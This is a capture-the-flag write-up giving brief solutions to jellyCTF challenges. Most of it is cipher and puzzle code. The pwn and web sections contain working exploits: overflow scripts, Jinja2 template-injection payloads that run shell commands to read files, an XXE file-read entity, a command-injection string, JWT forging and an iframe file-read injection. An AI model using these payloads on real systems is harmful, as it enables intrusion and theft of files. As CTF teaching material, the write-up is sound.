jellyCTF
Super interesting theme, so I poured all my resources to play and clear this CTF under team 1AFFE4. Due to the massive number of the challenges, I will write apprach and solution in brief for each of them.
Since it’s long, I will give my conclusion first. The CTF is a great intro to people who are new to CTF. I wish there had been more rev and pwn, since they are the category I wanna check out the most.
[misc] welcome
Flag is in rules section.
[misc] watch_streams
I started playing this CTF way before the mentioned stream started. Solution: See its description.
[misc] this_is_canon
With careful looking and some knowledge in CP (competitive programming), we know the meme is referencing to a compression method (Huffman, Shannon, Fano, etc.). Looking at the given file, it’s a wonder what each line means. First, the second line contains a set of character, which is likely a dictionary. Second, the sum of all numbers on the first line is equal to the total number of character in the set. If we assume each position to be $x/{2^k}$, then the sum would be 1. Finally, since this challenge is referencing to a compression method, the third line can only be the compression output. The only point left is to figure out which the dictionary mapping.
The idea is Canonical Huffman encoding. From the wikipedia page, we can import the given dictionary and build a decoder.
symcnt = [0,0,4,3,7,6]
symbols = ("_","e","l","y","j","o","r","a","c","d","s","t","u","w","f","h","k","m","{","}")
def get_bit_len(a):
for i, x in enumerate(a):
if x != 0:
return i + 1
return 0
code = 0
d = {}
e = {}
for symbol in symbols:
bit_len = get_bit_len(symcnt)
canon_code = ("{:0" + str(bit_len) + "b}").format(code)
print(symbol, canon_code)
e[symbol] = canon_code
d[canon_code] = symbol
symcnt[bit_len - 1] -= 1
if get_bit_len(symcnt) == 0:
break
code = (code + 1) << (get_bit_len(symcnt) - bit_len)
flag = ""
orig = ""
base = 0
sz = 0
while base < len(flag):
sz += 1
if (c := flag[base:][:sz]) in d.keys():
orig += d[c]
base += sz
sz = 0
print(orig)
[misc] is_jelly_stuck
Never before do I feel bad in crossword. This one contains lots of jelly and Baba is you references. The second part is a small baba is you custom level, which took me a while to solve.
Half of the crossword are just classic questions, which you can quickly look up at Crossword Solver. For the rest, you should be immensed in the theme to get the idea. One of the question actually refers to the custom level code: JIEU-DKXX
.
To solve the custom level, notices that the crossword has already given you hint: go straight to the left side.
You soon notice that you can have the cat push the IS
block. However, when command activated (pushing IS
to DOOR __ WIN
), you are also blocked from the door.
The goal is to have yourself collided with the IS
block and have the cat push both of you to the door. This can be done by rotating the command to the right, pushing the whole command to make sure IS
block is 2 blocks ahead of the cat. Now, push the IS
block down, then go to the right, then down again. The cat will push the IS
block colliding with you (jelly). finally, go to the door to win. Tracing the path shall give the flag.
[misc] just_win_lol
Browsing through the given source code, there are two buttons we can click in this game: draw and reset. However, the hand is calculated based on current Unix second. The front-end is behind Cloudflare rate limit, so simply clicking on time will not solve the challenge.
We copy Golang code and iterate to find out possible point of time that gives us 5 in a row. We were given 10 tries, which means we should use in average two tries for each 5-in-a-row. To counter the inconsistent latency, we click a head of the time 5-10 seconds, so the latency of next click is guaranteed to be less than 1000ms.
[crypto] cult_classic_1
First letter of each line; Base64 + ROT; Vigenere
[crypto] cult_classic_2
PlayFair cipher (key: ALIEN); Book cipher (lyrics of Luminary - Jelly Hoshiumi); Bacon
[crypto] cipher_check
First stage, use dcode.fr to find most of them.
Second stage, see chess moves on chess.com, then map them (6 moves - 12 positions) to characters on the grid (the grid is actually the chess board).
[crypto] exclusively_yours
To approach, try the initial known part of the flag jellyCTF{
.
We soon realize the message was XOR with the rotated version of itself.
To solve, we fill in decrypted characters along the way until the end of the flag.
[crypto] dizzy_fishman
It is quick to see this is Diffie-Hellman. Here, the assertion suggests that we try with setting g
as p-1
, which makes public keys and shared secret equal to either 1
or p-1
.
To solve, we wait for p
, then on question g=?
, we reply p-1
. The server will give you ciphertext that would be AES-256 ECB encrpyted using key 1
or p-1
.
from Crypto.Cipher import AES
secret = 1
flag = bytes.fromhex('2c6783bc372fbf601a4159080bf295e439c30e16fecde63dc7066abb40825383b1d8b2267d641fc17fd54d8bb0a60203b1d8b2267d641fc17fd54d8bb0a60203')
encoded_key = secret.to_bytes(32, byteorder='big')
cipher = AES.new(encoded_key, AES.MODE_ECB)
ciphertext = cipher.decrypt(flag)
print('flag received: ', ciphertext.hex())
[crypto] really_special_awawawas
This is indeed special. The challenge input is simply RSA. Inputting n into factordb.com, I got the full factorization. However, what confuses me is there are more than 2 primes. Searching around, this points me to multi-prime RSA. Based on this helpful article, I built solve script as below:
import gmpy2
n = 40095322948381328531315369020145890848992927830000776301309425505
e = 65537
c = 35622053067320123838840878683947610930876835359945867019927573838
# n = 5 * 23 * 460465412038271581 * 757179525420813109550252454787205779901919127
phi = 4 * 22 * 460465412038271580 * 757179525420813109550252454787205779901919126
d = gmpy2.invert(e, phi)
m = pow(c, d, n)
print(bytes.fromhex(hex(m)[2:]).decode())
[crypto] the_brewing_secrets
From source code, we learn that we must bypass a 6-letter passcode lock. Due to broken implementation of not resetting cache, we can re-use part of previous input as new input. The maximum number of character we can input is 69.
Here we use de Bruijn sequence. The wikipedia page also gives us code to generate such sequence.
# https://en.wikipedia.org/wiki/De_Bruijn_sequence
from typing import Iterable, Union, Any
def de_bruijn(k: Union[Iterable[str], int], n: int) -> str:
"""de Bruijn sequence for alphabet k
and subsequences of length n.
"""
# Two kinds of alphabet input: an integer expands
# to a list of integers as the alphabet..
if isinstance(k, int):
alphabet = list(map(str, range(k)))
else:
# While any sort of list becomes used as it is
alphabet = k
k = len(k)
a = [0] * k * n
sequence = []
def db(t, p):
if t > n:
if n % p == 0:
sequence.extend(a[1 : p + 1])
else:
a[t] = a[t - p]
db(t + 1, p)
for j in range(a[t - p] + 1, k):
a[t] = j
db(t + 1, t)
db(1, 1)
return "".join(alphabet[i] for i in sequence)
print(de_bruijn(2, 6))
# 0000001000011000101000111001001011001101001111010101110110111111
Note that there are no wrap around in this implementation, so we need to patch by copying first 5 characters and appending them to the end. Luckily, the passcode when I tried was not in that part and I got the flag without the patch.
[crypto] you’re_based
Searching around through Google and grep.app, we find out base 65536 here, along with its online tool here. Trying the given text as the ciphertext yields the flag.
[crypto] cherry
There are three sections of the flag, corresponding to number of times playing 0-, 1-, 2-coin. The goal is to acquire the 3 cherries in a row, with each roll spins in a different specific count of steps. In mathematical terms, this is simply multivariable equations. z3 is not ideal and slow, so I used Wolfram|Alpha, which solved in a jiffy.
Note that the flag is in awscii32 (5-bit), so you will need a decoder for it. The alphabet and decoder are in the challenge source code.
[crypto] you’re_bababased?
Trying all popular base-like encoding provides no results.
Initially, the size of list_of_safe_unicode_character.txt
makes me think of base131072,
but the output does not match.
If we use the file as dictionary and encode the given line of text, none of them is larger than 40000. This suggests the number in Base-xx is custom and not large.
To solve, we just encode all character using the given safe unicode file, then brute-force the base number.
from functools import *
with open('list_of_safe_unicode_chars.txt', 'rb') as fd:
table_b = fd.read()
table = table_b.decode()
sz = len(table)
print(sz)
def decode(s, sz):
total = reduce(lambda a, b: a * sz + b, map(lambda c: table.index(c), s))
d = []
while total > 0:
d.append(total & 0xFF)
total >>= 8
return d
s = 'ʿ蛧鸩ઞ假备㮝螖𐱇𓉺澟嬚ᱸ芋ᗋޥ𒒽瀏即𑠌獀ʞ'
for x in range(1, sz + 1):
print('Trying', x, ':', end='')
try:
print(bytes(reversed(decode(s, x))).decode())
exit()
except Exception as e:
print('ERROR', e)
pass
[rev] lost_in_translation
Simple python reversing. You can write python code to solve this by going backward.
[rev] rev1
x86-64 Ubuntu binary.
My usual decompiler is dumb, so I instead looked at the disassembly. Below is the only part you need to care about:
To put it in C, this is:
for (int i = 0; i < 0x25; ++i) {
s2[i] = s[i] + ebx;
}
and after this is a string comparison. A quick deduction is it will compare the s2 above with the input to confirm the flag. So s2 is the flag.
To solve, simply redo the above code to get the in-memory flag. Another way is to run gdb and put breakpoint at the end of this code (0x004011c1).
[rev] awassembly
x86-64 assembly with AWA 5.0 immediate value. We read AWA 5.0 manual to correctly convert immediates to decimal number, then follow the disassembly to get the return value of the function.
[pwn] phase_coffee_1
Use negative integer to overflow and bypass check in line 46-52.
scanf("%d", &quantity);
printf("\n");
if (quantity > non_jelly_remainder_stock)
{
printf("Currently out of stock... please order a smaller quantity.");
}
Since coin_balance = coin_balance - total_cost
, using negative total_cost
will also increase the coin_balance
.
To control it using quantity, we have quantity = total_cost / 35
.
from pwn import *
e = context.binary = ELF("./main.v1")
def start(gdbscript="",argv=[], *a, **kw):
'''Start the exploit against the target.'''
if args.GDB:
return gdb.debug([e.path] + argv, gdbscript=gdbscript, *a, **kw)
else:
return process([e.path] + argv, *a, **kw)
io = start("""b main;continue""")
# io = remote("chals.jellyc.tf", 5000)
prompt = b"Enter a menu selection \n"
def action(mode, answers):
io.sendlineafter(prompt, str(mode).encode())
io.recvuntil(b"\n")
[io.sendline(answer) for answer in answers]
action(2, [b"1", b"-57142"])
io.interactive()
[pwn] phase_coffee_2
Integer multiplication overflow (Arithmetic overflow) in line 50-53.
if (quantity > 0)
{
int total_cost = 35 * quantity;
int coin_balance_after_purchase = coin_balance - total_cost;
We need coin_balance_after_purchase
to be positive, and quantity to be positive.
However, it is still possible to have total_cost negative if we find quantity where quantity * 35 > ((1 << 31) - 1)
.
Unassuming 32-bit integer and wrap around, we have quantity = (total_cost + (1 << 32)) / 35
.
from pwn import *
from struct import pack, unpack
e = context.binary = ELF("./main.v2")
def start(gdbscript="",argv=[], *a, **kw):
'''Start the exploit against the target.'''
if args.GDB:
return gdb.debug([e.path] + argv, gdbscript=gdbscript, *a, **kw)
else:
return process([e.path] + argv, *a, **kw)
io = start("""b main;continue""")
# io = remote("chals.jellyc.tf", 5001)
prompt = b"Enter a menu selection \n"
def action(mode, answers):
io.sendlineafter(prompt, str(mode).encode())
io.recvuntil(b"\n")
[io.sendline(answer) for answer in answers]
action(2, [b"1", b"122684779"])
io.interactive()
[pwn] phase_coffee_3
Buffer overflow in line 76. Here we simply need to override the coin_balance
without breaking the program.
Line 74-76:
printf("Your order is being processed. Please enter your shipping address: ");
scanf("\n");
fgets(address, 1000, stdin);
I was too lazy to calculate the location of coin_balance
on the stack, and instead use binary search to find it: offset 0xA0 from address
.
from pwn import *
from struct import pack, unpack
e = context.binary = ELF("./main")
def start(gdbscript="",argv=[], *a, **kw):
'''Start the exploit against the target.'''
if args.GDB:
return gdb.debug([e.path] + argv, gdbscript=gdbscript, *a, **kw)
else:
return process([e.path] + argv, *a, **kw)
io = start("""b main;continue""")
# io = remote("chals.jellyc.tf", 5002)
prompt = b"Enter a menu selection \n"
def action(mode, answers):
io.sendlineafter(prompt, str(mode).encode())
io.recvuntil(b"\n")
[io.sendline(answer) for answer in answers]
action(2, [b"1", b"1", b"\n" + b"A" * 0xA8])
# action(2, [b"1", b"1", b"\n" + b"A" * 0xA0 + p64(1337)])
io.interactive()
[web] do_not_trust
Nothing much to explain. It is /robots.txt
[web] factory_clicker
In the source code, the click is rate-limited by front-end but not validated on the back-end. I manually curl POST request to get the flag.
curl -sSL -X POST https://factory-clicker.jellyc.tf/increment?increment_amount=500000000001
{
"flag": "jellyCTF{keep_on_piping_jelly}",
"score": 500000000001
}
[web] bro_visited_his_site
This is SSTI (Server-side Template Injection). Specifically, this is Python Jinja2. Look at the vulnerable code below.
return render_template_string(f'''
{{% set config="friend" %}}
{{% set self="visit" %}}
<p>
{word}pilled {word}maxxer
</p>
''')
Here, our goal is to print the flag in app.config["FLAG"]
.
A quick online search of cheatsheet shall give thousands of results.
Unfortunately, we cannot directly refer to config
and self
as they are set to be variable
and replaced before rendering.
But knowing the flag is in the source code, I went for printing out the code using the following payload.
{{request.application.__globals__.__builtins__.__import__('os').popen('cat /app/bros_site.py').read()}}
This injection here is likely unintended and could have been avoided if the source file is deleted after the server start (i.e. os.remove('/app/bros_site.py')
at the beginning of the source).
[web] bro_visited_his_site_2
Similarly, the second flag is stored in the /app/flag.txt
. We use similar injection to get the flag.
{{request.application.__globals__.__builtins__.__import__('os').popen('cat /app/flag.txt').read()}}
[web] aidoru
When clicking on any talents, we find out the page route is actually MD5(talent_name)
(via crackstation).
Cross-checking the source code, our target seems to be visiting Jelly’s page, which is seemingly blocked and redirected when we click in index.html
. However, there are no tellings the path does not exist, so we just calculate the path manually, MD5("jelly")
, and enter it in the address bar. The flag shall be in one of the Youtube src.
[web] vlookup_hot_singles
Very quickly, we can find the link to the admin panel.
Reviewing the source code, the authorization is done by decoding JWT token in token
cookies and checking JSON value user
in it equals to jelly
.
def is_admin(token):
data = jwt.decode(token, JWT_SECRET, algorithms=["HS256"])
return data["user"] == "jelly"
Knowing the secret, we can generate ourselves a token. Below is CyberChef recipe and input
#recipe=JWT_Sign('singaQu5aeWoh1vuoJuD%5DooJ9aeh2soh','HS256')&input=eyJ1c2VyIjoiamVsbHkifQ
For some reasons, the cookie is not marked as secure, so an extra step is to set the token
cookie secure.
Accessing the admin panel and the first flag shall be possible.
[web] vlookup_hot_singles_2
The challenge description suggests that a CVE can be exploited. Querying the dependency, we find CVE-2017-5992: Improper Restriction of XML External Entity Reference in Openpyxl. In short, the XML External Enity Reference feature is similar to pre-processing variable and automatically expanded when processed by openpyxl library.
We can get the original submitted PoC by Marcin Ulikowski on Debian Bug report. In the payload in core.xml
, we need to change the !DOCTYPE
tag to our targetted file:
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///app/flag.txt" >]>
We open the Excel document in 7-Zip and drag-and-drop the new XML.
Alternatively, you can put the XML in docProps folder and update via CLI: 7z u blank_passwd.xlsx docProps/
.
We get the flag by reading the XML on same path after uploading to and downloading from the server.
[web] awafy_me
By the look of it, this is simply command injection. We add ;
and our command to the end to
perform injection.
[web] awascii_validator
Also command injection but with additional filter. The input is decoded as AWSCII and printed out using os.system
, so we must awafy our injection before sending it to the server. Since it is the reverse of awafy_me, we simply modify awafier.py
to generate proper 6-bit AWSCII.
import awafier_maps
import argparse
def binary_to_awawa(binary: int):
assert binary < (1 << 6), "AWSCII is 6-bit"
stringrep = "{0:06b}".format(binary)
stringrep = stringrep.replace("0", "awa")
stringrep = stringrep.replace("1", "wa")
stringrep = stringrep.replace("aa", "a a")
return stringrep
def awawafy_character(character : chr):
if character not in awafier_maps.AWASCII_MAP.keys():
if character not in awafier_maps.SUBSTITUTION_MAP.keys():
print("Character not supported by AWASCII")
exit()
else:
character = awafier_maps.SUBSTITUTION_MAP[character]
return binary_to_awawa(awafier_maps.AWASCII_MAP[character])
def awawafy(text: str):
print("Awawawafying: ", text)
start_flag = "awa"
blow_flag = "awa awawa awawa"
text_terms = []
for character in text:
text_terms.append(awawafy_character(character))
text_section = " ".join(text_terms)
result = " ".join([start_flag, text_section])
print(result)
if __name__ == "__main__":
parser = argparse.ArgumentParser(prog='AwaScript name converter')
parser.add_argument("input_text")
args = parser.parse_args()
awawafy(args.input_text)
python .\awascii_validator\encoder.py "Hey; cat /app/flag"
[web] pentest_on_stream
This is HTML Injection. The code on the server-side render the HTML file, take a screenshot, and then send it to us. Our payload should load the flag and put it on the screen.
For my solution, I use iframe to render server-side file.
Due to the limited size of the actual rendered frame and scenes.json is huge,
I create a p
tag with font size set to 10px to get the flag visible on screenshot.
<p id="flag" style="font-size: 10px;"></p>
<iframe id="textf" src="/home/dockerUser/.config/obs-studio/basic/scenes/scenes.json" onload='readf()'></iframe>
<script>
function readf() {flag.innerHTML =textf.contentWindow.document.body.innerHTML}</script>
This can be nicely formatted with few more lines of code, but the length of text is limited and it is good enough to read the flag.
[forensics] alien_transmission
One approach to sound file is to look in the spectrogram.
Opening in Sonic Visualiser, spectrogram pane, we can see drawing of flag in ASCII when zooming out.
[forensics] mpreg
Compare with normal MP4, we find out extra bytes in the given file. Remove it and we can open the MP4.
[forensics] the_REAL_truth
Open /robots.txt
, we see https://therealtruthaboutjellyhoshiumi.carrd.co/sitemap.xml
. Open sitemap, we see links to two images.
The first one has additional cyan line at the top. By filtering the red channel, we can read out the flag.
[forensics] the_REAL_truth_2
Previously, there should be a second image without the cyan line. These two images look almost alike, so we XOR and find out the flag.
[forensics] oshi_mark
Filter all ZWNJ (Zero-width non-joiner) characters, then put the rest to dcode.fr in hex format. The site shall tell that this is ASCII shift. Bruteforcing on the site, with +111, we shall get the original message.
To be honest, the ZWNJ was misleading since I thought it to be Zero-width encoding. Only when I look at the raw bytes did I realize it is not the case.
[forensics] head_empty
With memory.dmp, this is memory forensics. You will need volatility3.
Run hashdump tool to get the hash. The first run would take a while.
python .\vol.py -f jellyctf\memory.dmp windows.hashdump.Hashdump
User rid lmhash nthash
Administrator 500 aad3b435b51404eeaad3b435b51404ee 31d6cfe0d16ae931b73c59d7e0c089c0
Guest 501 aad3b435b51404eeaad3b435b51404ee 31d6cfe0d16ae931b73c59d7e0c089c0
DefaultAccount 503 aad3b435b51404eeaad3b435b51404ee 31d6cfe0d16ae931b73c59d7e0c089c0
WDAGUtilityAccount 504 aad3b435b51404eeaad3b435b51404ee 9082e3468d0a84e876033173709cb118
jelly 1001 aad3b435b51404eeaad3b435b51404ee aa05ab5319d59779b937bdbf9797d895
Putting the nthash for jelly on crackstation, we shall get the password.
[forensics] head_empty_2
Listing all processes, we shall see mspaint.exe
as one of them.
python .\vol.py -f jellyctf\memory.dmp windows.pslist.PsList
PID PPID ImageFileName Offset(V) Threads Handles SessionId Wow64 CreateTime ExitTime File output
...
4700 1300 mspaint.exe 0xa307105550c0 9 - 1 False 2024-05-07 11:00:03.000000 N/A Disabled
We proceed to extract all memory of the process.
python .\vol.py -f jellyctf\memory.dmp windows.memmap.Memmap --pid 4700 --dump
The pixel are stored as RGB, from end to beginning in memory. We can see this when importing as raw data in GIMP. With the help of original link, we can easily fix the width and height of the canvas.
Flipping the raw image, we can see the flag.
[osint] secret_engineering_roleplay
Use a discord 3rd party plugin to reveal inaccessible channels. The order of them constructs the flag for the challenge.
[osint] into_the_atmosphere
All Discord ID are snowflake, which means they contain a creation timestamp. This can be decoded by many online tools. The attachment posted on the channel is actually link from a different server. Using that server ID, we can find the server creation date.
[osint] super_fan
Searching webarchive, we can find deleted tweets. When we open Network tab in Developer Console before opening the site, we can find a twitter API request that is replicated. Down below, one of the entry reveal the actual user id and we can then find out the new user handle.
The new handle posted several tweets which can be decoded into the flag.
[osint] stalknights_1
Searching the coffee package and the cans on Bing reveals a village in Amsterdam.
[osint] stalknights_2
From the booth on left corner, we find out about Bright Brussels Festival in Belgium, confirming the waffle existence. Searching about scooter also reveal Belgium as one possible location.
Then we find the location of the festival by using submitted images, then we can filter near park location and similar building to find the final location.
[osint] stalknights_3
We can find an airplane picture on the twitter profile, with description noting of a flight on May 3. Finding the airplane body reveals register JA784A. Although there are several photos captured it around the time, none of them has the right location we are looking for. We search for flight history on exact date to get the expected location.
[osint] stalknights_4
Use github API to find events of repos, which includes overriden commits.
[osint] stalknights_5
The description itself and the username kinda gives it that this is a Leetcode profile.